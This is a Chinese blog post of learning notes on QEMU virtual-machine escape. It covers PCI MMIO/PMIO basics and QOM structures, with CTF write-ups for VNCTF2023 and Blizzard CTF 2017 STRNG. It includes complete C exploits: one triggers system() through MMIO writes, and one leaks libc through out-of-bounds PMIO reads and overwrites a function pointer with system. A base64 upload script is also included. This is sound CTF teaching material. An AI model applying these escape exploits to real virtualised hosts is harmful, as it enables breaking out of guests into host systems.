虚拟机逃逸初探(更新中)

Posted by l0tus on 2023-05-22
Estimated Reading Time 18 Minutes
Words 4.3k In Total
Viewed Times

开篇废话

从上学期就定下了学VMpwn这个方向,一是我在刚接触虚拟机的时候就认为虚拟机这个东西是一门艺术,是杰作,其次是被去年蒋公子挖VM ware的CVE拿GeekPwn冠军给帅到了,幻想着成为他那样的神仙。于是就开始摸一些简单的CTF中虚拟机逃逸的题目和qemu的原理,这里特别感谢公大的@korey0sh1师傅,从他的文章里我学到了许多。

Qemu

QEMU是一个托管的虚拟机,它通过动态的二进制转换,模拟CPU,并且提供一组设备模型,使它能够运行多种未修改的客户机OS,可以通过与KVM一起使用进而接近本地速度运行虚拟机(接近真实电脑的速度)。QEMU还可以为user-level的进程执行CPU仿真,进而允许了为一种架构编译的程序在另外一种架构上面运行(借由VMM的形式)。
简而言之就是一个开源的虚拟机,多架构、跨平台,纯软件实现。
QEMU有多种模式
User mode:又称作“用户模式”,在这种模式下,QEMU运行针对不同指令编译的单个Linux或Darwin/macOS程序。系统调用与32/64位接口适应。在这种模式下,我们可以实现交叉编译(cross-compilation)与交叉侦错(cross- debugging)。
System mode:“系统模式”,在这种模式下,QEMU模拟一个完整的计算机系统,包括外围设备。它可以用于在一台计算机上提供多台虚拟计算机的虚拟主机。 QEMU可以实现许多客户机OS的引导,比如x86,MIPS,32-bit ARMv7,PowerPC等等。
KVM Hosting:QEMU在这时处理KVM镜像的设置与迁移,并参加硬件的仿真,但是客户端的执行则由KVM完成。
Xen Hosting:在这种托管下,客户端的执行几乎完全在Xen中完成,并且对QEMU屏蔽。QEMU只提供硬件仿真的支持。

PCI设备概述

在操作系统中,我们学过PCIe总线,PCIe总线其实就是PCI总线的继承者,先不提这两者的区别和继承。我们只需要知道,PCI指的是Peripheral Component Interconnect"(外围设备互联)接口。而PCI设备就是指符合PCI接口标准的计算机硬件层面连在PCI总线上的设备(网卡、声卡、显卡等)。
PCI设备可以申请两类地址空间,分别是内存地址空间(memory space)和I/O地址空间(I/O space)(from @korey0sh1

MMIO/PMIO

MMIO(Memory-Mapped I/O)和PMIO(Port-Mapped I/O)是两种不同的输入/输出(I/O)访问方式。
内存映射I/O(MMIO)是一种访问设备的方法,其中设备的寄存器被映射到系统的物理内存地址空间中的特定区域。这样,系统可以像访问内存一样访问设备的寄存器,从而简化了编程和操作。
端口映射I/O(PMIO)是通过输入/输出端口(I/O端口)访问设备的另一种方式。与MMIO不同,I/O端口是设备地址空间的一部分,而不是内存地址空间。通过向设备的特定I/O端口发送命令和数据来控制和通信。
总的来说,MMIO和PMIO是两种不同的I/O访问方式。MMIO被认为是更为灵活的方式,可以减少对I/O端口的需求,而PMIO则可以在没有物理内存(如嵌入式系统)的环境中使用。
在qemu中二者都存在或者有的时候只存在一种。
在虚拟机中,如何查看MMIO和PMIO的地址呢,首先我们需要在虚拟机中确定我们题目的设备

这里以strng虚拟机为例(原题是blizzard ctf 2017的qemu逃逸)首先我们可以分析启动命令
pic1

-m 指定大小为1G,
-device常用于指定guest上总线挂载的外部设备,例如virtio-mmio、usb、pci等总线,
-hda IMAGE.img- 设置虚拟硬盘并使用指定的镜像文件
-nographic 指定QEMU图形界面不会被启用,并将控制台输出重定向到终端窗口
-L pc-bios 参数告诉QEMU在pc-bios目录中查找BIOS、VPD等固件文件。pc-bios目录包含一组常用的BIOS和固件文件,这些文件用于启动QEMU模拟器中的虚拟机和提供其它功能。如果未指定-L选项,QEMU将从其默认的固件目录中加载这些文件(通常是/usr/share/qemu/bios
-enable-kvm 启用了KVM硬件加速功能,允许虚拟机直接访问主机CPU的虚拟化扩展,从而提高了虚拟机的性能和效率
-device e1000,netdev=net0 告诉QEMU要为虚拟机添加一个使用e1000网卡模拟器的网络设备,并将其连接到名为net0的网络设备上
-netdev user,id=net0,hostfwd=tcp::5555-:22 允许在虚拟机与主机之间建立基于用户网络的网络连接,并将主机端口5555转发到虚拟机的端口22,以允许从主机连接到虚拟机的SSH服务
关于hda、hdb这些我翻来了qemuwiki里的解释

1
2
3
4
5
6
7
8
9
10
11
QEMU 最多可以使用四个映像文件来为客户系统提供多个虚拟驱动器。这可能非常有用,如以下示例所示:
可以在 QEMU 来宾之间共享的页面文件或交换文件虚拟磁盘
存储所有数据的公共数据驱动器,可从每个 QEMU 来宾访问但与主机隔离
在不重新配置主映像的情况下为 QEMU 来宾提供额外空间
通过将单独的 QEMU 映像放置在不同的物理驱动器上,将相互竞争的 I/O 操作分离到不同的物理驱动器轴上
模拟用于测试/学习的多驱动器物理环境
请记住,一次只有一个 QEMU 实例可以访问图像——共享并不意味着同时共享!

要在 QEMU 中使用其他图像,请在命令行中使用选项 -hda、-hdb、-hdc、-hdd 指定它们。

qemu -m 256 -hda winxp.img -hdb pagefile.img -hdc testdata.img -hdd tempfiles.img -enable-kvm

至此启动参数分析完了,我们的目的是想要在虚拟机中确定我们题目的设备,看到关键的一行启动参数 -device strng \,得知,在启动脚本中我们定义了qemu中的一个设备“strng”,也就是说,strng是以虚拟机中的一个 pci设备 存在的。

接着可以启动虚拟机,执行lspci查看一下pci设备,也可以直接lspci -t -v以树状显示pci设备

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
ubuntu@ubuntu:~$ lspci
00:00.0 Host bridge: Intel Corporation 440FX - 82441FX PMC [Natoma] (rev 02)
00:01.0 ISA bridge: Intel Corporation 82371SB PIIX3 ISA [Natoma/Triton II]
00:01.1 IDE interface: Intel Corporation 82371SB PIIX3 IDE [Natoma/Triton II]
00:01.3 Bridge: Intel Corporation 82371AB/EB/MB PIIX4 ACPI (rev 03)
00:02.0 VGA compatible controller: Device 1234:1111 (rev 02)
00:03.0 Unclassified device [00ff]: Device 1234:11e9 (rev 10)
00:04.0 Ethernet controller: Intel Corporation 82540EM Gigabit Ethernet Controller (rev 03)

ubuntu@ubuntu:~$ lspci -t -v
-[0000:00]-+-00.0 Intel Corporation 440FX - 82441FX PMC [Natoma]
+-01.0 Intel Corporation 82371SB PIIX3 ISA [Natoma/Triton II]
+-01.1 Intel Corporation 82371SB PIIX3 IDE [Natoma/Triton II]
+-01.3 Intel Corporation 82371AB/EB/MB PIIX4 ACPI
+-02.0 Device 1234:1111
+-03.0 Device 1234:11e9
\-04.0 Intel Corporation 82540EM Gigabit Ethernet Controller

执行之后如上,暂时也看不出啥,但要是说猜测的话,可以猜00:03.0这个unclassified设备,大概率就是我们的strng。但是猜不靠谱啊,肯定得去找依据!
qemu程序在刚开始的时候会有一个<dev>_class_init函数,其中就是设备名字
我们知道了设备的名字是strng,那么我们直接把qemu用ida打开,去查找字符串strng_class_init
pic1
成功找到这个函数
看到1234、11e9这两个数,基本就可以确定03.0 Device 1234:11e9这个设备就是我们想找的strng设备。
关于lspci显示结果的解释,我这里引用一下korey0sh1师傅的话bus(总线)、device(设备)、function(功能),之后的内容是 Class、Vendor、Device

确定了3是目标设备之后,我们的目的是进一步查看其MMIO/PMIO地址
先执行lspci -v会输出所有设备的详细信息

1
2
3
4
5
6
7
00:03.0 Unclassified device [00ff]: Device 1234:11e9 (rev 10)
Subsystem: Red Hat, Inc Device 1100
Physical Slot: 3
Flags: fast devsel
Memory at febf1000 (32-bit, non-prefetchable) [size=256]
I/O ports at c050 [size=8]

找到3号的,最后两行Memory和I/O port分别对应MMIO和PMIO,起始地址分别为0xfebf1000和0xc050
然后可以先看看其resourse所在目录ls -la /sys/devices/pci0000\:00/0000\:00\:03.0/
pic2
看到

1
2
3
-r--r--r--  1 root root 4096 May 25 04:03 resource
-rw------- 1 root root 256 May 25 04:16 resource0
-rw------- 1 root root 8 May 25 04:16 resource1

resource0 对应MMIO空间。
resource1 对应PMIO空间。

然后cat出来看

1
2
3
4
5
6
7
8
9
10
ubuntu@ubuntu:~$  cat /sys/devices/pci0000\:00/0000\:00\:03.0/resource
0x00000000febf1000 0x00000000febf10ff 0x0000000000040200
0x000000000000c050 0x000000000000c057 0x0000000000040101
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000

从左至右依次是:起始地址、结束地址、标志位。
第一行是MMIO、第二行是PMIO。
至此,MMIO/PMIO地址已获取

QOM(Qemu Object Model)

用qemu官方文档的话来说就是Everything in QOM is a device
QOM是QEMU在C的基础上自己实现的一套面向对象机制,负责将device、bus等设备都抽象成为对象。
QOM主要有以下四个组件
Type:用来定义一个「类」的基本属性,例如类的名字、大小、构造函数等
Class:用来定义一个「类」的静态内容,例如类中存储的静态数据、方法函数指针等
Object:动态分配的一个「类」的具体的实例(instance),储存类的动态数据
Property:动态对象数据的访问器(accessor),可以通过监视器接口进行检查
详细可以参考这个ppt
注意,以上这四个都是Qemu用来处理和相关的操作的组件,与下文我们要学习的几个结构体不能完全划上等号。

Typeinfo

当我们在 Qemu 中要定义一个「类」的时候,我们实际上需要定义一个 TypeInfo 类型的变量
源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
struct TypeInfo
{
const char *name;
const char *parent; //父类

size_t instance_size;
size_t instance_align;
void (*instance_init)(Object *obj); //实例初始化函数
void (*instance_post_init)(Object *obj);
void (*instance_finalize)(Object *obj); //实例“析构”函数

bool abstract; //是否为抽象类
size_t class_size; //类大小,官方文档中提出.class_size字段设置为sizeof(MyClass)

void (*class_init)(ObjectClass *klass, void *data); //在所有父类被初始化完成后调用的子类初始化函数,可用于override virtual methods
void (*class_base_init)(ObjectClass *klass, void *data);
void *class_data;

InterfaceInfo *interfaces; //封装了const char *type;
};

如下示例定义了一个example_type_info结构体

1
2
3
4
5
6
7
8
9
10
A Simple Object Example
Declaration
static const TypeInfo example_type_info = {
.name = "example",
.parent = TYPE_OBJECT,
};
static void example_register_types(void) {
type_register_static(&example_type_info);
}
type_init(example_register_types)

这段代码先定义了一个example_type_info结构体并做了一些赋值操作,然后定义了一个example_register_types函数,该函数调用的是type_register_static这个qemu实现的函数,将我们的结构体example_register_types作为参数注册到全局的类型表中,然后将example_register_types这个函数指针作为参数传给type_init这个qemu实现的函数,type_init负责注册。

Class

Object

题目

VNCTF2023 逃离浪浪山

这是今年VNCTF的一道题,现在看来是非常简单的,但是当时只有3个师傅做出来了。我就先跟着这道简单的题目来学习一下比赛中qemu逃逸的一般流程。当然这道题因为没用到pmio,所以流程也不算完整。
先看启动脚本

看到关键的-device vn,id=vda,可以知道起了一个叫做vn的设备,那么我们直接去ida字符串查找vn_class_init

然后字符串追踪到这个初始化函数:

接着根据这里的数据和虚拟机里lspci

可以确定设备4是vn,然后去/sys/devices/pci0000:00/0000:00:04.0目录

看到只有resource0没有resource1,意思就是只有mmio没有pmio
然后看resource可以看到mmio的起始地址和结束地址

有了这些我们可以在脚本里mmap做虚拟地址映射,然后对其能够访问
然后我们再根据vn-mmio这个字符串追踪到memeory_region_init_io函数

这个函数也是用于初始化,其中一个参数是vn_mmio_ops,这个地址存放的是mmio的操作集(可以直接根据options理解),这道题因为符号表被扣掉了所以变量都很丑陋,但是我们参考别的题目可以得出“vn-mmio”这个字符串前面的参数就是操作集vn_mmio_ops。最关键的 一点是,这个变量的位置最前面两个保存的是mmio_readmmio_write,也就是我需要用到的和设备内存地址交互的函数.

因为扣掉了符号表所以函数名没有显示,但我们依旧可以通过这两个地址找到mmio_readmmio_write函数

mmio_read


函数逻辑很清晰,当a2 = 0x1f0000时,将"vnctf"字符串复制到dword_137A358处

mmio_write


当a2 = 0x100000且137A358和1301090相等时,把command赋值为’cat flag’,a2 = 0x2f0000时,执行system(command)
然后我们再去看待比较的dword_1301090位置

看到字符串就是'vnctf',于是思路就很清晰了,先用mmio_read把vnctf写入目标地址,然后两次mmio_write控制参数就可以了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#define _GUN_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/io.h>

unsigned char* mmio_mem;
uint64_t mmio_read(uint64_t addr)
{
return *((uint64_t *)(mmio_mem + addr));
}
uint64_t mmio_write(uint64_t addr, uint64_t value)
{
return *((uint64_t *)(mmio_mem + addr)) = value;
}


int main(int argc ,char **argv, char **envp)
{
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
if (mmio_fd < 0){
puts("open mmio failed");
exit(-1);
}

mmio_mem = mmap(0,0x1000000,PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem == MAP_FAILED){
puts("mmap failed !");
exit(-1);
}

mmio_read(0x1f0000);
mmio_write(0x100000,1);
mmio_write(0x2f0000,1);
return 0;
}

白痴问题之 “这个exp怎么食用嘞?”

首先这个exp是用C语言实现的虚拟IO设备交互,我们需要把它执行起来,就首先要把它编译成可执行文件,而且要使用静态链接因为在虚拟环境里面会缺少很多链接库。编译指令就直接
gcc exp.c -o exp -static就可以了,然后至于把这个文件传到qemu的话有两种方法,第一种使用scp指令,第二种是用docker起qemu服务,然后写个python脚本用base64传文件,这里写一个通用模板脚本:(来源于arttnba3师傅的博客

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
import time, os
context.log_level = "debug"

#p = process('./boot.sh')
#p=remote("node4.buuoj.cn",28429)
p=remote("127.0.0.1",9999)
os.system("tar -czvf exp.tar.gz ./exp")
os.system("base64 exp.tar.gz > b64_exp")

f = open("./b64_exp", "r")

p.sendline()
p.recvuntil("/ #")
p.sendline("echo '' > b64_exp;")

count = 1
while True:
print('now line: ' + str(count))
line = f.readline().replace("\n","")
if len(line)<=0:
break
cmd = b"echo '" + line.encode() + b"' >> b64_exp;"
p.sendline(cmd) # send lines
#time.sleep(0.02)
#p.recv()
p.recvuntil("/ #")
count += 1
f.close()

p.sendline("base64 -d b64_exp > exp.tar.gz;")
p.sendline("tar -xzvf exp.tar.gz")
p.sendline("chmod +x ./exp;")
p.sendline("./exp")
p.interactive()

阿里云CTF2023 逃离地球

先看一眼启动脚本:

1
2
3
4
5
6
7
8
#!/bin/sh

./qemu-system-x86_64 -L ./dependency -kernel ./vmlinuz-4.15.0-208-generic -initrd ./rootfs.cpio -cpu kvm64,+smep \
-m 64M \
-monitor none \
-device tulip \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-nographic

起了一个叫tulip的设备
先简单字符串追踪一下,找到init函数和pci设备
pic0
pic1

STRNG 虚拟机逃逸

Blizzard CTF 2017
题目仓库:https://github.com/rcvalle/blizzardctf2017

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <signal.h>
#include <fcntl.h>
#include <ctype.h>
#include <termios.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/io.h>


size_t pmio_base = 0x000000000000c050;
void * mmio_mem;

uint64_t mmio_read(uint32_t addr){
return *( (uint32_t *)mmio_mem + addr );
}

void mmio_write(uint32_t addr,uint32_t val ){
*((uint32_t *)mmio_mem + addr) = val;
}

void pmio_write(uint32_t addr,uint32_t val){
outl(val,addr);
}

uint64_t pmio_read(uint32_t addr){
return (uint32_t)inl(addr);
}



int main(){
setbuf(stdout,0);
setbuf(stdin,0);
setbuf(stderr,0);
int mmio_fd = open("/sys/devices/pci0000\:00/0000\:00\:03.0/resource0",O_RDWR | O_SYNC);
if(mmio_fd==-1){ perror("mmio failed");exit(-1); }

mmio_mem = mmap(0,0x1000,PROT_READ | PROT_WRITE, MAP_SHARED,mmio_fd,0); //mmap mmio space
if(mmio_mem == MAP_FAILED){ perror("map mmio failed");exit(-1);}
printf("addr of mmio:%p\n",mmio_mem);

mmio_write(2,0x6d6f6e67); // regs[2]
mmio_write(3,0x61632d65); // regs[3]
mmio_write(4,0x6c75636c); // regs[4]
mmio_write(5,0x726f7461); // regs[5]
//mmio_write(24,0x6b637566);

if(iopl(3)!=0){perror("iopl failed");exit(-1);}

uint64_t srand_addr;
uint64_t tmp;
uint64_t libc;
uint64_t system;
/* first time we read high 4 bytes */
pmio_write(pmio_base+0,0x108);
srand_addr = pmio_read(pmio_base+4);
printf("[DEBUG] 0x%llx\n",srand_addr);
srand_addr = ((srand_addr<<32));
printf("[*]0x%llx\n",srand_addr);
/* Second time we read low 4 bytes */
pmio_write(pmio_base+0,0x104);
tmp = (pmio_read(pmio_base+4));
printf("[*]0x%llx\n",tmp);
srand_addr += tmp;
printf("srand_addr:0x%llx\n",srand_addr);
libc = srand_addr - 0x3a8e0-0xb7c0;
printf("[*]libc_addr:0x%llx\n",libc);
system = libc+ 0x50d60;
printf("[*]system:0x%llx\n",system);


/* we just need to overwrite low 4 bytes */
pmio_write(pmio_base+0,0x114); //set addr
pmio_write(pmio_base+4,(system & 0xffffffff));// overwrite rand_r


/* trigger system */
pmio_write(pmio_base+3,0);
return 0;
}

(杂碎笔记不用看:符号执行/污点追踪 DMA)


如果您喜欢此博客或发现它对您有用,则欢迎对此发表评论。 也欢迎您共享此博客,以便更多人可以参与。 如果博客中使用的图像侵犯了您的版权,请与作者联系以将其删除。 谢谢 !